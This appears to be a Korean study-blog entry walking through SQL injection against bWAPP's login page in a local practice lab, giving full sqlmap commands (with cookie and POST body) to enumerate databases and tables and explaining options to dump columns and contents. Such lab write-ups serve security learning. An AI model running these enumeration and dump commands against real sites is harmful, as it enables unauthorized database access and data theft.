취약점을 확인한 후 인젝션 해보니 영어 문구가 뜨면서 실패했다. 해당 페이지 소스코드를 확인해보자.

확인해보니 id와 password가 일치해야 secret을 알려준다는 내용이다. 그래서 #으로 주석 처리하면 실패했던 것이다.

이번에는 sqlmap이라는 툴을 사용해서 인젝션 해보자. 칼리 리눅스에 기본 내장되어있다.

일단 쿠키값이 필요하므로 버프수트로 얻어보자.

sqlmap을 사용할때 필요한건 url와 쿠키값과 post방식이면 body정보도 필요하다. 종합하면 명령어는 다음과 같다.

sqlmap -u "192.168.199.131/bWAPP/sqli_16.php" --cookie="security_level=0; PHPSESSID=2532363154efe83d51f4461f3a72de1a" --data "login=aaa&password=aaa&form=submit" --dbs

-u 옵션으로 인젝션할 url를 넘기고 --cookie에 security_level...부터 복사해서 입력한다. POST 방식이므로 --data에 body 정보를 복사해서 입력한다. --dbs 옵션은 데이터베이스를 검색하는 옵션이다.

bWAPP이라는 DB이름을 얻었으니 테이블명도 확인해보자.

sqlmap -u "192.168.199.131/bWAPP/sqli_16.php" --cookie="security_level=0; PHPSESSID=2532363154efe83d51f4461f3a72de1a" --data "login=aaa&password=aaa&form=submit" -D bWAPP --tables

-D 옵션을 추가해 DB이름을 지정해주고 --tables 옵션으로 테이블을 검색한다.

-T 옵션을 주고 테이블명을 지정후 --columns 옵션으로 컬럼들 확인할 수 있다. 내용을 확인하고 싶으면 --dump 명령어로 덤프하면 된다. 특정 컬럼을 확인하고 싶다면 -C 옵션으로 지정해주면 된다.

'공부 > bWAPP' 카테고리의 다른 글

SQL Injection - Stored (Blog)  (0) 2020.02.29
SQL Injection (SQLite)  (0) 2020.02.27
SQL Injection (Login Form/Hero)  (0) 2020.02.26
SQL Injection (AJAX/JSON/jQuery)  (0) 2020.02.25
SQL Injection (POST/Search, Select)  (0) 2020.02.24

+ Recent posts